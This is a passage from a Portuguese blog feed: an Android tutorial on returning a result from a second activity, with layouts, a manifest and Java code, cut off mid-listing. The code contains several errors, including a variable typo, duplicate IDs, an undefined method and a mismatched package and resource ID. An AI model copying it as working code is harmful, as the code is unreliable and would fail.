<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6560609223793725510</id><updated>2012-01-11T05:49:28.307-08:00</updated><title type='text'>Programação &amp; Informática</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://prginfo.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6560609223793725510/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://prginfo.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Geraldo José Ferraira Chagas Júnior</name><uri>http://www.blogger.com/profile/10065196740290789568</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>31</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6560609223793725510.post-7726802639164262899</id><published>2011-10-13T08:22:00.000-07:00</published><updated>2011-10-13T11:00:30.595-07:00</updated><title type='text'>Rcebendo retorno da janela</title><content type='html'>&lt;br&gt;&lt;div align=left&gt;&lt;img src="http://contador.2w.com.br/imgcontador.php?p=50fd0a6c" alt="Contador de acesso" border=0&gt;&lt;font size="1" color="blue"&gt;Visitas&lt;/font&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Uma operação bastante comum, pelo menos no meu caso, é tomar decisões baseadas em ações realizadas em uma janela. No Android, essa operação é bastante simples, porém o que mais vejo são pessoas utilizando classes protect – que funciona como uma variável global – para realizar essa tarefa.&lt;br /&gt;&lt;br /&gt;No meu ponto de vista, assim como o antigo “go to”, a variável global não é algo que deva ser extinguido dos códigos. Assim como o “go to” ou “goto”, ela é necessária e muitas vezes faz com que o código fique mais eficiente e limpo. O problema é com o uso indiscriminado dessas alternativas. &lt;br /&gt;&lt;br /&gt;Nosso código é simples. Teremos uma primeira tela, principal, onde terá um botão que ao ser clicado abrirá uma nova tela com dois botões – OK e Cancelar -. Dependendo do botão clicado, na segunda tela, a primeira tela fechará ou continuará aberta.&lt;br /&gt;&lt;br /&gt;Vamos ao código.&lt;br /&gt;&lt;br /&gt;Arquivo main.xml, define o layout de nossa janela principal.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:orientation="vertical"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:layout_width="fill_parent"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:layout_height="fill_parent"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;gt;&lt;br /&gt;&amp;lt;Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnOk" android:text="@string/BtnOk"&amp;gt;&amp;lt;/Button&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Arquivo Tela2.xml, define o layout de nossa segunda janela.&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt; LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:orientation="vertical"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:layout_width="fill_parent"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:layout_height="fill_parent"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnOk" android:text="@string/BtnOk"&amp;gt;&amp;lt;/Button&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnOk" android:text="@string/BtnOk"&amp;gt;&amp;lt;/Button&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;Button android:layout_width="150px" android:layout_height="wrap_content" android:id="@+id/BtnCancel" android:text="@string/BtnCancel"&amp;gt;&amp;lt;/Button&amp;gt;&lt;br /&gt;    &lt;br /&gt;&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Arquivo strings.xml, define os valores para nossas “constantes”&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;resources&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;string name="app_name"&amp;gt;Principal&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;string name="app_name_2"&amp;gt;TesteDroid2&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;string name="BtnCancel"&amp;gt;Cancelar&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;string name="BtnOk"&amp;gt;OK&amp;lt;/string&amp;gt;&lt;br /&gt;&amp;lt;/resources&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Arquivo AndroidManifest.xml, definimos os nomes e classes de nossas telas. Nesse arquivo nos definiremos quais os nomes das classes de nossas telas, para que possamos referencia-las posteriormente.  Notemos que a categoria para a tela principal é android.intent.category.LAUNCHER já a tela secundária é android.intent.category.DEFAULT.&lt;br /&gt;Podemos definir o nome da Classe  a nosso gosto, neste caso, a tela principal foi definida automaticamente, já na tela 2 eu dei o nome de com.TesteDroid.Tela2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;&amp;lt;?xml version="1.0" encoding="utf-8"?&amp;gt;&lt;br /&gt;&amp;lt;manifest xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;package="com.teste.Droid"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:versionCode="1"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;android:versionName="1.0"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;uses-sdk android:minSdkVersion="7" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;application android:icon="@drawable/icon" android:label="@string/app_name"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;activity android:name=".TesteDroidActivity" android:label="@string/app_name"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;intent-filter&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;action android:name="android.intent.action.MAIN" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;category android:name="android.intent.category.LAUNCHER" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/intent-filter&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/activity&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;activity android:name="Tela2" android:label="@string/app_name_2"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;intent-filter&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;action android:name="com.TesteDroid.Tela2" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;category android:name="android.intent.category.DEFAULT" /&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/intent-filter&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/activity&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/application&amp;gt;&lt;br /&gt;&amp;lt;/manifest&amp;gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Com nosso resouce montado, vamos ao código.&lt;br /&gt;&lt;br /&gt;Nossa tela principal terá o seguinte código&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;package com.TesteDroid;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.content.ContentValues;&lt;br /&gt;import android.content.Intent;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.view.View;&lt;br /&gt;import android.widget.Button;&lt;br /&gt;&lt;br /&gt;public class TesteDroidActivity extends Activity {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/** Called when the activity is first created. */&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@Override&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;super.onCreate(savedInstanceState);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setContentView(R.layout.main);&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Criando o botão OK&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// o findViewById retorna o componente definido em nosso layout, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// em um tipo genérico, redefinimos para o tipo Buttuon.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// percebemos que não foi criado um novo botão, foi apenas &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// referenciado&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;final Button btnOk = (Button)findViewById(R.id.BtnOk);&lt;br /&gt;        &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* ***************************************************&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;                E v e n t o s&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*****************************************************/&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;btnOk.setOnClickListener(new View.OnClickListener() {&lt;br /&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//evento de clique nobotão  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onClick(View v) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//refernciando a tela 2, verifique que passamos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// o nome da classe que definimos no AndroidManifest.xml como parâmetro&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Intent frmTela2 = new Intent("com.TesteDroid.Tela2");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//chamando a tela 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;startActivityForResult(frmTela2, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;        &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//evento disparado na volta da tela 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onActivityResult(int requestCode, int resultCode, Intent data)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (requestCode == 0 ) return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//pegando o valor de resultado&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// se for falso, eu fecho o programa&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (!ata.getExtras().getBoolean("resultado"))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finish();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Código da tela 2&lt;br /&gt;&lt;br /&gt;&lt;div Style="border:1px dashed #999; color: #336699; background-color:#fff3db; font-size:90%; padding-left: 10px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px;"&gt;&lt;br /&gt;package com.RMaster.Droid;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.content.Intent;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.view.View;&lt;br /&gt;import android.widget.Button;&lt;br /&gt;public class Tela2 extends Activity &lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@Override&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onCreate(Bundle savedInstanceState) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;super.onCreate(savedInstanceState);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setContentView(R.layout.Tela2);&lt;br /&gt;    &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Intent data = new Intent();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// Colocando o valor false em resultado, para poder se&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// acessado na volta da janela&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// esses valor é setado aqui, pois a pessoa pode fechar&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// a tela sem clicar em nenhum botão&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data.putExtra("resultado", false);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setResult(0,data);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button BtnOk = (Button)findViewById(R.id.BtnOk);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BtnOk.setOnClickListener(new View.OnClickListener() {&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onClick(View v) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;// TODO Auto-generated method stub&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (alteraSenha())&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Intent data = new Intent();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data.putExtra("resultado", true);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setResult(1,data);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finish();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button BtnCancel = (Button)findViewById(R.id.Cancel);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BtnOk.setOnClickListener(new View.OnClickListener() {&lt;br /&gt;  &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public void onClick(View v) {&lt;br 